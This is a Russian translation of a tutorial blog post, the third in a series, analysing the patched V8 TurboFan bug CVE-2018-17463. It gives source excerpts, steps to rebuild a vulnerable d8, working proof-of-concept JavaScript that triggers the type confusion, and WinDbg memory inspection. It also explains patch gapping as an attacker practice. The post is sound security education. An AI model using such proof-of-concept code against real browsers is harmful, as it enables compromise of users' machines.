Это третья и последняя часть серии статьей про эксплойтинг браузера Chrome. В первой части мы изучили внутреннюю работу JavaScript и V8. В том числе изучили объекты map и shape, а также рассмотрели методики оптимизации памяти, например, маркировку указателей и сжатие указателей.

Во второй части мы более глубоко исследовали конвейер компилятора V8. Изучили предназначение Ignition, Sparkplug и TurboFan в конвейере и рассмотрели такие темы, как байт-код V8, компиляция и оптимизация кода.



В этой части сосредоточимся на анализе и эксплойтинге уязвимости JIT-компилятора в TurboFan CVE-2018-17463. Эта уязвимость возникла из-за ненадлежащего моделирования побочных эффектов операции JSCreateObject на этапе понижающей оптимизации. Прежде чем мы приступим к эксплойтингу этого бага, нужно изучить фундаментальные примитивы эксплойтинга браузеров, такие как addrOf и fakeObj, а также узнать, как можно использовать этот баг для эксплойтинга type confusion.


Предупреждение: имейте в виду, этот пост подробно, глубоко и пошагово разбирает процесс эксплойтинга (а еще это перевод), поэтому его очень сложно читать.

В этом посте освещаются следующие темы:

  • Patch Gapping
  • Анализ первопричин CVE-2018-17463
  • Настройка среды
  • Генерация Proof of Concept
  • Эксплойтинг Type Confusion для JSCreateObject
  • Примитивы эксплойтинга браузеров
    • Примитив чтения addrOf
    • Примитив записи fakeObj
  • Получение возможности чтения+записи в память
  • Получение возможности исполнения кода
    • Основы внутренней работы WebAssembly
    • Злонамеренное использование памяти WebAssembly

Разбираемся с Patch Gapping


В сентябре 2018 года в рамках программы SecuriTeam Secure Disclosure Beyond Security службе безопасности Google сообщили об Issue 888923. Этот баг благодаря изучению исходного кода обнаружил Сэмюель Гросс и использовал его во время соревнования Hack2Win. Месяцем позже баг был устранён, а отчёт о нём опубликован SSD Advisory под заголовком Chrome Type Confusion in JSCreateObject Operation to RCE; в отчёте приводились подробности о баге и выпущен подробный proof of concept для его эксплуатации.

В том же месяце Сэмюель выступил на BlackHat 2018 с докладом Attacking Client-Side JIT Compilers, в котором рассказал об уязвимостях в JIT-компиляторах, и, в частности, об уязвимостях, связанных с устранением избыточности (redundancy elimination), а также моделированием побочных эффектов в IR. Лишь в 2021 году Сэмюель выпустил во Phrack статью Exploiting Logic Bugs in JavaScript JIT Engines, в которой более подробно рассказал об открытии и эксплойтинге CVE-2018-17463.

Стоит заметить, что существенная часть информации об этом баге была опубликована в течение нескольких недель после его обнаружения. Это значит, что нападающие могли бы использовать эту информацию для реверс-инжиниринга и эксплойтинга бага. Но большинство, если не все браузеры на базе Chrome были автоматически пропатчены за несколько дней или даже недель после того, как был выполнен первый пуш первого коммита исправления, из-за чего баг оказался практически бесполезным.

Вместо того, чтобы изучать публично доступную информацию о потенциальных багах, многие атакующие и разработчики эксплойтов отслеживают коммиты в поисках определённых ключевых слов. Когда они находят многообещающий коммит, то пытаются разобраться в баге, лежащем в его основе. Эта практика называется «patch gapping».

Как объсняется в посте хакера Exodus Patch Gapping Google Chrome, patch gapping — это «практика эксплойтинга уязвимостей в опенсорсном ПО, которые уже были устранены (или находятся в процессе устранения) разработчиками, но еще не опубликованы в виде патча для конечных пользователей».

Почему это важно в контексте нашего обсуждения эксплойтинга браузера Chrome? Поняв концепцию patch gapping, мы сможем лучше воспринимать мир с точки зрения «противника». Узнав так много о внутренностях V8, вы сумеете найти потенциальный баг в коде Chrome по первому коммиту.

Воспользовавшись этим подходом, мы можем расширить окно возможностей по эксплойтингу бага, а также углубить наши знания кодовой базы Chrome. Кроме того, наблюдая за местами в коде, которые часто патчат, мы можем получить представление о том, где следует искать потенциальные уязвимости нулевого дня в Chrome.

С учётом всего этого, давайте начнём анализ первопричин, изучив первоначальный коммит, который запушили для устранения исследуемого нами бага. Мы попытаемся выполнить реверс-инжиниринг исправления и разобраться, как вызвать баг при помощи полученных нами знаний. Если зайдём в тупик, то воспользуемся уже существующими публичными ресурсами. В конце концов, это наше путешествие с целью эксплойтинга браузеров, а путешествия иногда бывают непростыми!

Анализ первопричин CVE-2018-17463


Изучив Issue 888923, мы увидим, что первоначальный патч для этого бага был запушен с коммитом 52a9e67a477bdb67ca893c25c145ef5191976220, имеющим примечание "[turbofan] Fix ObjectCreate’s side effect annotation" («Устранение проблемы аннотирования побочного эффекта ObjectCreate»). Зная это, воспользуемся командой git show в папке V8, чтобы посмотреть, что же исправил этот коммит.


Изучив коммит, мы видим, что он исправляет единственную строку кода в файле src/compiler/js-operator.cc. Исправление просто заменяет флаг Operator::kNoWrite флагом Operator::kNoProperties для операции JavaScript CreateObject.

Как вы можете помнить из второй части статьи, мы вкратце обсуждали эти флаги и говорили, что они используются операциями промежуточного представления (intermediate representation, IR). В данном случае флаг kNoWrite обозначает, что операция CreateObject не будет иметь наблюдаемых побочных эффектов, или, иными словами, наблюдаемых изменений в исполнении контекста.

Это представляет проблему для компилятора. Как мы знаем, некоторые операции могут иметь побочные эффекты, вызывающие в контексте наблюдаемые изменения. Например, если Map передаваемого объекта была изменена или модифицирована, то это наблюдаемый побочный эффект, который нужно записать в цепочку операций. В противном случае какие-то проходы оптимизации, например, устранение избыточности, могут удалить то, что компилятор считает «избыточной» операцией CheckMap, хотя на самом деле эта проверка обязательна. По сути, это может привести к уязвимости type confusion.

Итак, давайте проверим, действительно ли функция CreateObject имеет наблюдаемый побочный эффект.

Чтобы определить, имеет ли операция IR побочные эффекты, нужно посмотреть на понижающий этап оптимизирующего компилятора. Этот этап преобразует высокоуровневые операции IR в команды более низкого уровня для JIT-компиляции; кроме того, здесь происходит устранение избыточности.

Для операции JavaScript CreateObject понижение происходит в файле исходников v8/src/compiler/js-generic-lowering.cc, а конкретно в функции LowerJSCreateObject.

void JSGenericLowering::LowerJSCreateObject(Node* node) {
  CallDescriptor::Flags flags = FrameStateFlagForCall(node);
  Callable callable = Builtins::CallableFor(
      isolate(), Builtins::kCreateObjectWithoutProperties);
  ReplaceWithStubCall(node, callable, flags);
}

Изучая понижающую функцию, мы видим, что операция IR JSCreateObject будет понижена до вызова встроенной функции CreateObjectWithoutProperties, находящейся внутри файла исходников v8/src/builtins/object.tq.

transitioning builtin CreateObjectWithoutProperties(implicit context: Context)(
    prototype: JSAny): JSAny {
  try {
    let map: Map;
    let properties: NameDictionary|SwissNameDictionary|EmptyFixedArray;
    typeswitch (prototype) {
      case (Null): {
        map = *NativeContextSlot(
            ContextSlot::SLOW_OBJECT_WITH_NULL_PROTOTYPE_MAP);
        @if(V8_ENABLE_SWISS_NAME_DICTIONARY) {
          properties =
              AllocateSwissNameDictionary(kSwissNameDictionaryInitialCapacity);
        }
        @ifnot(V8_ENABLE_SWISS_NAME_DICTIONARY) {
          properties = AllocateNameDictionary(kNameDictionaryInitialCapacity);
        }
      }
      case (prototype: JSReceiver): {
        properties = kEmptyFixedArray;
        const objectFunction =
            *NativeContextSlot(ContextSlot::OBJECT_FUNCTION_INDEX);
        map = UnsafeCast<Map>(objectFunction.prototype_or_initial_map);
        if (prototype != map.prototype) {
          const prototypeInfo = prototype.map.PrototypeInfo() otherwise Runtime;
          typeswitch (prototypeInfo.object_create_map) {
            case (Undefined): {
              goto Runtime;
            }
            case (weak_map: Weak<Map>): {
              map = WeakToStrong(weak_map) otherwise Runtime;
            }
          }
        }
      }
      case (JSAny): {
        goto Runtime;
      }
    }
    return AllocateJSObjectFromMap(map, properties);
  } label Runtime deferred {
    return runtime::ObjectCreate(prototype, Undefined);
  }
}

В этой функции много кода. Нам не нужно понимать его полностью; если вкратце, эта функция начинает процесс создания нового объекта без свойств. Любопытный аспект этой функции заключается в typeswitch для прототипа объекта.

Это интересно из-за трюка с оптимизацией в V8. В языке JavaScript каждый объект имеет приватное свойство, содержащее ссылку на другой объект, называемый прототипом. Если объяснять просто, прототип схож с классом C++, где объекты могут наследовать признаки от определённых классов. Этот объект-прототип имеет собственный прототип, то же самое относится и к прототипу прототипа. Получается «цепочка прототипов», продолжающаяся, пока не будет достигнут объект со значением null.

В этом посте я не буду вдаваться в подробности прототипов, но для лучшего понимания этой концепции вы можете прочитать Object Prototypes и Inheritance and the Prototype Chain. Пока давайте сосредоточимся на оптимизации прототипов в V8.

В V8 каждый прототип имеет уникальный shape, не являющийся общим ни с одним другим объектом, и, в частности, ни с каким другим прототипом. При изменении прототипа объекта для этого прототипа распределяется новый shape. Подробнее об этой оптимизации можно прочитать в JavaScript Engine Fundamentals: Optimizing Prototypes.

Из-за этого нам стоит уделить внимание коду, потому что оптимизация прототипов — это побочный эффект, который в случае неверного моделирования может иметь последствия.

В конечном итоге, функция CreateObjectWithoutProperties вызывает функцию ObjectCreate, которая является встроенной функцией среды исполнения C++, расположенной в v8/src/objects/js-objects.cc. В кодовой базе 2018 года эта функция находилась в файле v8/src/objects.cc.

// 9.1.12 ObjectCreate ( proto [ , internalSlotsList ] )
// Notice: This is NOT 19.1.2.2 Object.create ( O, Properties )
MaybeHandle<JSObject> JSObject::ObjectCreate(Isolate* isolate,
                                             Handle<Object> prototype) {
  // Generate the map with the specified {prototype} based on the Object
  // function's initial map from the current native context.
  // TODO(bmeurer): Use a dedicated cache for Object.create; think about
  // slack tracking for Object.create.
  Handle<Map> map =
      Map::GetObjectCreateMap(isolate, Handle<HeapObject>::cast(prototype));

  // Actually allocate the object.
  return isolate->factory()->NewFastOrSlowJSObjectFromMap(map);
}

Заглянув в функцию ObjectCreate, мы видим, что она генерирует новую map для объекта на основании нашего предыдущего прототипа объекта при помощи функции GetObjectCreateMap, которая находится в v8/src/objects/map.cc.

На этом этапе мы уже должны начать видеть, в чём заключаются потенциальные побочные эффекты в этом операторе JavaScript.

// static
Handle<Map> Map::GetObjectCreateMap(Isolate* isolate,
                                    Handle<HeapObject> prototype) {
  Handle<Map> map(isolate->native_context()->object_function().initial_map(),
                  isolate);
  if (map->prototype() == *prototype) return map;
  if (prototype->IsNull(isolate)) {
    return isolate->slow_object_with_null_prototype_map();
  }
  if (prototype->IsJSObject()) {
    Handle<JSObject> js_prototype = Handle<JSObject>::cast(prototype);
    if (!js_prototype->map().is_prototype_map()) {
      JSObject::OptimizeAsPrototype(js_prototype); // <== Side Effect
    }
    Handle<PrototypeInfo> info =
        Map::GetOrCreatePrototypeInfo(js_prototype, isolate);
    // TODO(verwaest): Use inobject slack tracking for this map.
    if (info->HasObjectCreateMap()) {
      map = handle(info->ObjectCreateMap(), isolate);
    } else {
      map = Map::CopyInitialMap(isolate, map);
      Map::SetPrototype(isolate, map, prototype);
      PrototypeInfo::SetObjectCreateMap(info, map);
    }
    return map;
  }

  return Map::TransitionToPrototype(isolate, map, prototype); // <== Side Effect
}

В функции GetObjectCreateMap мы также видим два интересных вызова JSObject::OptimizeAsPrototype и Map::TransitionToPrototype. Это интересно, потому что этот код подразумевает и ещё раз подтверждает, что новый созданный объект преобразуется в объект-прототип, что также изменяет связанную с объектом map.

Зная это, перейдём в d8 и убедимся, что функция Object.create и в самом деле модифицирует объект и map неким образом, который позволит нам выполнить эксплойт. Для начала запустим d8 с опциями --allow-natives-syntax и создадим новый объект.

d8> %DebugPrint(obj)
DebugPrint: 000002A50010A505: [JS_OBJECT_TYPE]
 - map: 0x02a5002596f5 <Map[16](HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x02a500244669 <Object map = 000002A500243D25>
 - elements: 0x02a500002259 <FixedArray[0]> [HOLEY_ELEMENTS]
 - properties: 0x02a500002259 <FixedArray[0]>
 - All own properties (excluding elements): {
    000002A5000041ED: [String] in ReadOnlySpace: #x: 13 (const data field 0), location: in-object
 }
000002A5002596F5: [Map] in OldSpace
 - type: JS_OBJECT_TYPE
 - instance size: 16
 - inobject properties: 1
 - elements kind: HOLEY_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - stable_map
 - back pointer: 0x02a5002596cd <Map[16](HOLEY_ELEMENTS)>
 - prototype_validity cell: 0x02a5002043cd <Cell value= 1>
 - instance descriptors (own) #1: 0x02a50010a515 <DescriptorArray[1]>
 - prototype: 0x02a500244669 <Object map = 000002A500243D25>
 - constructor: 0x02a50024422d <JSFunction Object (sfi = 000002A50021BA25)>
 - dependent code: 0x02a5000021e1 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
 - construction counter: 0

Просмотрев эти результаты, мы видим, что map объекта является map FastProperties, что соответствует нашему объекту, имеющему внутриобъектные свойства. Теперь давайте выполним функцию Object.create для нашего объекта и выведем её отладочную информацию.

d8> Object.create(obj)
d8> %DebugPrint(obj)
DebugPrint: 000002A50010A505: [JS_OBJECT_TYPE]
 - map: 0x02a50025a9c9 <Map[16](HOLEY_ELEMENTS)> [DictionaryProperties]
 - prototype: 0x02a500244669 <Object map = 000002A500243D25>
 - elements: 0x02a500002259 <FixedArray[0]> [HOLEY_ELEMENTS]
 - properties: 0x02a50010c339 <NameDictionary[17]>
 - All own properties (excluding elements): {
   x: 13 (data, dict_index: 1, attrs: [WEC])
 }
000002A50025A9C9: [Map] in OldSpace
 - type: JS_OBJECT_TYPE
 - instance size: 16
 - inobject properties: 1
 - elements kind: HOLEY_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - dictionary_map
 - may_have_interesting_symbols
 - prototype_map
 - prototype info: 0x02a50025a9f1 <PrototypeInfo>
 - prototype_validity cell: 0x02a5002043cd <Cell value= 1>
 - instance descriptors (own) #0: 0x02a5000021ed <Other heap object (STRONG_DESCRIPTOR_ARRAY_TYPE)>
 - prototype: 0x02a500244669 <Object map = 000002A500243D25>
 - constructor: 0x02a50024422d <JSFunction Object (sfi = 000002A50021BA25)>
 - dependent code: 0x02a5000021e1 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
 - construction counter: 0

Как видите, при вызове Object.create map объекта меняется с map FastProperties с внутриобъектными свойствами на map DictionaryProperties, где эти свойства теперь хранятся в словаре. Этот побочный эффект инвалидирует флаг kNoWrite для операции ObjectCreate промежуточного представления (IR), доказывая, что это допущение ошибочно.

В данном случае, если мы можем сделать так, чтобы операция CheckMap была устранена при помощи устранения избыточности до вызова Object.create, то сможем создать уязвимость type confusion. Type confusion возникает, когда движок пытается получить доступ к внешним свойствам в хранилище свойств. Движок ожидает, что хранилище свойств будет являться FixedArray, в котором каждое свойство хранится одно за другим, однако теперь оно указывает на более сложный NameDictionary.

Настройка среды


Прежде чем приступать к анализу и эксплойтингу бага, нам нужно подготовить среду разработки. Если вы следили за этой серией постов с первой части, то, вероятно, уже настроили работающую версию d8 в соответствии с моим руководством Building Chrome V8 on Windows.

Поскольку баг был открыт в 2018 году, в кодовой базе Chromium произошло множество изменений наряду с изменениями в зависимостях, необходимых для сборки более новых версий. Для воссоздания этого бага достаточно применить показанный ниже патч diff к файлу src/compiler/js-operator.cc:


Однако при тестировании, несмотря на то, что мне удалось исполнить баг, я не смог получить работающую type confusion и использовать примитивы addrOf и fakeObj (о которых мы поговорим ниже). Я не знаю точно, почему так получилось, но может быть, что между 2018 и 2022 годами было изменение в коде, пропатчившее ту часть кодовой базы, которая необходима для этих примитивов.

Дополнение: эта type confusion не работала на новых версиях V8 после патча diff потому, что была включена V8 Heap Sandbox. По сути, эта песочница не позволяет нападающему повреждать объекты V8 наподобие ArrayBuffer.

Вместо этого я решил проверить последний «уязвимый» коммит до устранения бага и снова собрал v8 и d8. Это само по себе вызвало проблемы, поскольку браузеру Chrome 2018 года требовалась Visual Studio 2017, а в нашей текущей среде используется Visual Studio 2019. Хотя собрать Chrome при помощи Visual Studio 2019 возможно, сначала нужно установить обязательные компоненты.

Первым делом откроем Visual Studio 2019 Installer и установим следующие дополнительные компоненты:

  • MSVC v140 — VS 2015 C++ build tools (v14.00)
  • MSVC v141 — VS 2017 C++ x64/x86 build tools (v14.16)
  • Windows 10 SDK (10.0.17134.0)

После установки компонентов нам нужно добавить следующие переменные среды (Environmental Variable):

  • Добавить пользовательскую переменную vs2017_install и присвоить ей значение C:\Program Files (x86)\Microsoft Visual Studio 14.0\
  • Добавить C:\Program Files (x86)\Windows Kits\10\bin\10.0.17134.0\x64 в пользовательскую переменную Path.

Настроив всё это, мы должны модифицировать кодовую базу V8. Если взглянуть в git log коммита 52a9e67a477bdb67ca893c25c145ef5191976220, то можно увидеть, что последним уязвимым коммитом до устранения бага был 568979f4d891bafec875fab20f608ff9392f4f29.


Имея на руках этот коммит, мы можем выполнить команду git checkout, чтобы обновить файлы в папке V8 так, чтобы они соответствовали версии последнего уязвимого коммита.

C:\dev\v8\v8>git checkout 568979f4d891bafec875fab20f608ff9392f4f29
HEAD is now at 568979f4d8 [parser] Fix memory accounting of explicitly cleared zones

После настройки удалим папку x64.debug из папки v8\v8\out\, чтобы избежать ошибок. Далее изменим скрипт сборки build/toolchain/win/tool_wrapper.py так, чтобы он соответствовал содержимому файла tool_wrapper.py после исправлений для устранения хака superflush возникшего из-за ошибки сборки, отчёт о которой представлен в Issue 1033106.

После изменения файла tool_wrapper.py вы сможете собрать отладочную версию d8 при помощи следующих команд:

C:\dev\v8\v8>gn gen --ide=vs out\x64.debug
C:\dev\v8\v8>cd out\x64.debug
C:\dev\v8\v8\out\x64.debug>msbuild all.sln

Для завершения этой сборки может потребоваться длительное время, поэтому пока заварите себе кофе.

После завершения сборки у вас должно получиться запустить d8 и успешно выполнить скрипт poc.js из SSD Advisory, он позволяет убедиться, что вы можете создать работающий примитив чтения/записи.

Генерация Proof of Concept


Теперь, когда у нас есть уязвимая версия V8 и понимание бага, мы можем начать писать proof of concept. Давайте начнём с повторения того, что должен уметь этот proof of concept:

  1. Создавать новый объект со внутренним свойством, который будет использоваться как наш прототип для Object.create.
  2. Добавлять новое внешнее свойство по отношению к хранилищу свойств объекта, к которому мы попытаемся получить доступ после преобразования Map.
  3. Принудительно выполнять операцию CheckMap для объекта, чтобы сработало устранение избыточности, что удалит последующие операции CheckMap.
  4. Вызывать Object.create с ранее созданным объектом для принудительного выполнения преобразования Map.
  5. Получать доступ к внешнему свойству нашего объекта.
    • Из-за устранения избыточности CheckMap движок разыменует указатель на свойство, думая, что это массив. Однако теперь он указывает на NamedDictionary, что позволяет нам получать доступ к другим данным.

Поначалу это может показаться простым. Однако важно понимать, что на практике баги часто сложнее, чем в теории, особенно когда дело касается их запуска или эксплойтинга. Поэтому обычно самое сложное — это запустить баг и заставить работать type confusion. После этого процесс создания эксплойта обычно становится проще.

Итак, как же нам начать?

К счастью для нас, при изучении diff для 52a9e67a477bdb67ca893c25c145ef5191976220 выяснилось, что команда разработчиков Chrome добавила в коммит регрессионный тест. Тест используется для проверки отсутсвия влияния обновлений и модификаций приложения на общую функциональность. В данном случае оказалось, что файл регрессии тестирует на наличие нашего бага!

Давайте изучим тестовый случай и узнаем, с чем мы можем работать.

// Flags: --allow-natives-syntax

(function() {
  function f(o) {
    o.x;
    Object.create(o);
    return o.y.a;
  }

  f({ x : 0, y : { a : 1 } });
  f({ x : 0, y : { a : 2 } });
  %OptimizeFunctionOnNextCall(f);
  assertEquals(3, f({ x : 0, y : { a : 3 } }));
})();

В начале кода мы видим, что создаётся новая функция f, получающая объект o. При вызове функции она выполняет с переданным объектом следующие действия:

  1. Получает доступ к свойству a объекта o, что должно привести к принудительному выполнению операции CheckMap.
  2. Вызывает Object.create для объекта o, что должно привести к принудительному преобразованию Map.
  3. Выполняет доступ к внешнему свойству a в переданном объекте y, что должно вызвать type confusion.

Мы видим, что эта функция вызывается дважды с простыми объектами и свойствами, а затем вызывается %OptimizeFunctionOnNextCall, что заставляет V8 передать функцию компилятору TurboFan для оптимизации. Это избавляет нас от необходимости выполнять цикл, чтобы сделать функцию «горячей». Затем функция вызывается в третий раз, что должно привести к запуску нашего бага.

Как видите, вызывается метод assert для проверки того, что возвращается значение 3. Если это не так, то есть вероятность, что баг всё ещё присутствует.

Для нас это полезно, потому что теперь у нас есть работающий proof of concept, который можно использовать. Не знаю, зачем они использовали объект в хранилище свойств вместо значения. Возможно, мы разберёмся позже.

Теперь создадим собственный скрипт proof of concept, воспользовавшись собранной информацией. Позже выполним несколько проверок, чтобы убедиться, что у нас и в самом деле получилась работающая type confusion, а также воспользуемся Turbolizer, чтобы проверить, что операция CheckMap и в самом деле была удалена при помощи устранения избыточности.

Наш proof of concept должен выглядеть так:

function vuln(obj) {
    // Выполняем доступ к свойству a объекта obj, что заставляет выполнить операцию CheckMap
    obj.a;

    // Принудительное преобразование Map при помощи побочного эффекта
    Object.create(obj)

    // Запуск type confusion при помощи доступа к внешнем свойству
    return obj.b;
}

vuln({a:42, b:43}); // Разогрев кода
vuln({a:42, b:43});
%OptimizeFunctionOnNextCall(vuln); // Уязвимость JIT-компиляции
vuln({a:42, b:43}); // Запуск type confusion - не должно возвращать 43!

Создав наш proof of concept, запустим d8 с флагом --allow-naitives-syntax и добавим в нашу функцию vuln. После создания функции исполним последние четыре строки кода в proof of concept. Результаты должны быть следующими:

d8> vuln({a:42, b:43})
43
d8> vuln({a:42, b:43})
43
d8> %OptimizeFunctionOnNextCall(vuln)
undefined
d8> vuln({a:42, b:43})
0

Таким образом, мы получили работающий proof of concept! Как видите, оптимизированная функция больше не возвращает 43, а возвращает 0.

Прежде чем мы углубимся в изучение бага и попытаемся получить работающую уязвимость type confusion, запустим этот скрипт с флагом --trace-turbo и изучим IR на каждом этапе оптимизации, чтобы убедиться, что узел CheckMap и в самом деле был удалён, а всё это не простая случайность.

C:\dev\v8\v8\out\x64.debug>d8 --allow-natives-syntax --trace-turbo poc.js
Concurrent recompilation has been disabled for tracing.
---------------------------------------------------
Begin compiling method vuln using Turbofan
---------------------------------------------------
Finished compiling method vuln using Turbofan

После создания файла turbo давайте изучим этап оптимизации Typer, чтобы посмотреть на исходный граф IR.


Первоначальный анализ IR показывает то, что мы ожидали. Как видите, узел Parameter[1] передаёт объект для нашей функции. Этот объект проходит через операцию CheckMaps для валидации map, а затем вызывается операция LoadField для возврата свойства a.

Далее мы вызываем JSCreateObject для превращения нашего объекта в прототип. Затем IR выполняет операцию CheckMaps, чтобы валидировать Map объекта, после чего вызывает операцию LoadField для возврата свойства b. Это ожидаемый поток побочных эффектов, который должен был сохраниться.

А теперь давайте взглянем на IR после этапа понижения. Так как CreateObject не выполняет запись в цепочку побочных эффектов, узел CheckMaps больше не будет существовать из-за устранения избыточности.


Как мы видим на упрощённом этапе понижения, наш предыдущий узел CheckMaps после вызова JSCreateObject был удалён и напрямую вызывается узел LoadField.

Убедившись в том, что подвергнутый JIT код и в самом деле удаляет узел CheckMaps, изменим proof of concept так, чтобы он не использовал %OptimizeFunctionOnNextCall и вместо этого поместим наш код в цикл, чтобы при его исполнении за дело бралась JIT.

Кроме того, на этот раз добавим нашему объекту внешнее свойство, чтобы мы могли вынудить JIT осуществить доступ к хранилищу как к массиву, что запустит нашу type confusion.

Обновлённый POC будет выглядеть так:

function vuln(obj) {
  // Выполняем доступ к свойству a объекта obj, что заставляет выполнить операцию CheckMap
  obj.a;

  // Принудительное преобразование Map при помощи побочного эффекта
  Object.create(obj)

  // Запуск type confusion при помощи доступа к внешнем свойству
  return obj.b;
}

for (let i = 0; i < 10000; i++) {
  let obj = {a:42}; // Создание объекта с внутренними свойствами
  obj.b = 43; // Сохраняем внешнее свойство в хранилище
  vuln(obj); // Запускаем type confusion
}

Обновив этот код и запустив его с флагом --trace-turbo, снова убедимся, что у нас есть работающая уязвимость type confusion. Как мы видели в IR, компилятор выполняет доступ к указателю хранилища нашего объекта по смещению 8, а затем загружает свойство b, которое, по его мнению, находится по смещению 16 в массиве. Однако на самом деле он выполнит доступ к другой области данных, потому что это больше не массив, а словарь.


Эксплойтинг Type Confusion для JSCreateObject


Теперь, когда у нас есть работающая уязвимость type confusion, при которой V8 выполняет доступ к NamedDictionary как к массиву, нужно разобраться, как можно использовать эту уязвимость для получения доступа на чтение и запись в кучу V8.

В отличие от многих эксплойтов, эта уязвимость не задействует изъян с повреждением памяти, поэтому невозможно выполнить переполнение буфера и управлять указателем команд (RIP). Однако уязвимости вида type confusion позволяют манипулировать указателями функций и данными в структуре данных объекта. Например, мы можем перезаписать указатель на объект, после чего V8 разыменует этот указатель или выполнит переход к нему, поэтому мы сможем получить возможность исполнения кода.

К сожалению, мы не можем просто вслепую начинать считывать и записывать данные в объекты, не обладая определённой степенью точности. Как было видно выше в IR, у нас есть определённый контроль над тем, где V8 будет считывать и записывать данные; это делается при помощи указания свойства в массиве. Однако из-за type confusion этот массив преобразуется в NameDictionary, то есть структура меняется.

Чтобы выполнить эксплойт этой уязвимости, нам нужно понимать, как отличаются структуры этих двух объектов, и как мы можем манипулировать ими для достижения своих целей.

Как мы знаем из части первой, массив — это просто структура FixedArray, одно за другим хранящая значения свойств, доступ к которым выполняется по индексу. Как вы можете видеть в показанном выше IR, первый вызов LoadField выполняется по смещению 8, что будет указателем хранилища свойств в JSObject. Так как в хранилище есть только одно внешнее свойство, мы видим, что вторая LoadField выполняет доступ к первому свойству по смещению 16, изначально перепрыгивая через Map и Length.


Мы также знаем, что после преобразования из массива в словарь, вся информация о метаданных свойств хранится не в Descriptor Array внутри Map, а непосредственно в хранилище свойств. В данном случае, словарь хранит значения свойств внутри динамического буфера, состоящего из триплетов «имя, значение, подробности».

По сути, структура NameDictionary сложнее, чем мы описывали в первой части этой серии статей. Чтобы вы лучше поняли структуру памяти NameDictionary, я представил ниже наглядный пример.


Как видите, NameDictionary хранит триплеты свойств, а также дополнительные метаданные, связанные с количеством элементов в словаре. В данном случае, наша уязвимость type confusion считывает данные по смещению 16, как в описанном выше IR, а затем ей нужно считать количество элементов, хранящихся в словаре.

Для проверки этой информации мы можем повторно использовать наш скрипт proof of concept и задать точки останова в WinDbg, чтобы изучить структуры памяти наших объектов. Простой способ отладки этих скриптов proof of concept заключается в установке точки останова на функции RUNTIME_FUNCTION(Runtime_DebugPrint) в файле исходников /src/runtime/runtime-test.cc. Она сработает при вызове %DebugPrint. Это позволит отлаживать вывод d8 и выполнять дальнейший анализ эксплойта в WinDbg.

Давайте начнём с изменения proof of concept, добавив в него команду DebugPrint до и после изменения объекта. Скрипт должен выглядеть вот так:

function vuln(obj) {
  // Выполняем доступ к свойству a объекта obj, что заставляет выполнить операцию CheckMap
  obj.a;

  // Принудительное преобразование Map при помощи побочного эффекта
  Object.create(obj)

  // Запуск type confusion при помощи доступа к внешнем свойству
  return obj.b;
}

for (let i = 0; i < 10000; i++) {
  let obj = {a:42}; // Создание объекта с внутренними свойствами
  obj.b = 43; // Сохраняем внешнее свойство в хранилище
  if (i = 1) { %DebugPrint(obj); }
  vuln(obj); // Вызываем type confusion
  if (i = 9999) { %DebugPrint(obj); }

Чтобы упростить анализ структуры памяти нашего объекта, мы изменим скрипт proof of concept так, чтобы он выводил информацию объекта в двух точках: в первый раз при итерации 1 после задания его свойств, второй раз при итерации 9999 после того, как срабатывает JIT и изменяет объект.

Для отладки этого скрипта мы можем запустить d8 в WinDbg при помощи флага --allow-natives-syntax, за которым указывается местоположение скрипта proof of concept. Например:


Закончив с этим, нажмём Debug. Запустится d8 и дойдёт до первой точки отладки, установленной WinDbg.

(17f0.155c): Break instruction exception - code 80000003 (first chance)
ntdll!LdrpDoDebuggerBreak+0x30:
00007ffd`16220950 cc              int     3

Теперь мы можем поискать функцию DebugPrint в исходном коде V8 при помощи команды x v8!*DebugPrint* внутри WinDbg. У вас должен получиться вывод похожий на показанный ниже.

0:000> x v8!*DebugPrint*
*** WARNING: Unable to verify checksum for C:\dev\v8\v8\out\x64.debug\v8.dll
00007ffc`dc035ba0 v8!v8::internal::Runtime_DebugPrint (int, class v8::internal::Object **, class v8::internal::Isolate *)
00007ffc`db99ef00 v8!v8::internal::ScopeIterator::DebugPrint (void)
00007ffc`dc035f40 v8!v8::internal::__RT_impl_Runtime_DebugPrint (class v8::internal::Arguments *, class v8::internal::Isolate *)

Мы установим точку останова на функции v8!v8::internal::Runtime_DebugPrint. Это можно сделать, выполнив в WinDbg следующую команду.

bp v8!v8::internal::Runtime_DebugPrint

После настройки точки останова нажмите Go или введите g в окне команд, после чего мы должны будем перейти к точке останова DebugPrint.


Вы можете заметить, что, хотя произошёл переход к точке останова, в d8 нет вывода. Чтобы справиться с этим, мы можем установить точку останова в строке 542, щёлкнув на неё и нажав F9. Затем можно нажать Shift + F11 или «Step Out», чтобы продолжить исполнение, и просмотреть вывод отладки в d8.

DebugPrint: 000000C44E40DAD9: [JS_OBJECT_TYPE]
 - map: 0x02a66658c251 <Map(HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x00a318f04229 <Object map = 000002A6665822F1>
 - elements: 0x02c9f8782cf1 <FixedArray[0]> [HOLEY_ELEMENTS]
 - properties: 0x00c44e40db81 <PropertyArray[3]> {
    #a: 42 (data field 0)
    #b: 43 (data field 1) properties[0]
 }

Изучив вывод, мы видим, что наш объект имеет одно внутреннее свойство и одно внешнее свойство, которое должно находиться в хранилище свойств по адресу 0x00c44e40db81. Давайте взглянем на наш объект при помощи WinDbg, чтобы подтвердить этот адрес.

0:000> dq 000000C44E40DAD9-1 L6
000000c4`4e40dad8  000002a6`6658c251 000000c4`4e40db81
000000c4`4e40dae8  000002c9`f8782cf1 0000002a`00000000
000000c4`4e40daf8  000002c9`f8782341 00000005`00000000

Мы сразу же видим отличие. Хотя структура объекта соответствует адресу в выводе отладки, мы замечаем, что это полные 32-битные адреса. Причина в том, что в этой версии V8 ещё не реализовано сжатие указателей, поэтому V8 по-прежнему использует полный 32-битный адрес. В результате значения, хранящиеся в структуре объекта, больше не удваиваются. В этом можно убедиться, проверив, что шестнадцатеричное значение 0x2a в десятеричном виде равно 42, что является значением первого внутреннего свойства.

Зная это, давайте проверим структуру хранилища массива наших свойств, изучив содержимое памяти в WinDbg.

0:000> dq 0x00c44e40db81-1 L6
000000c4`4e40db80  000002c9`f8783899 00000003`00000000
000000c4`4e40db90  0000002b`00000000 000002c9`f87825a1
000000c4`4e40dba0  000002c9`f87825a1 deadbeed`beadbeef

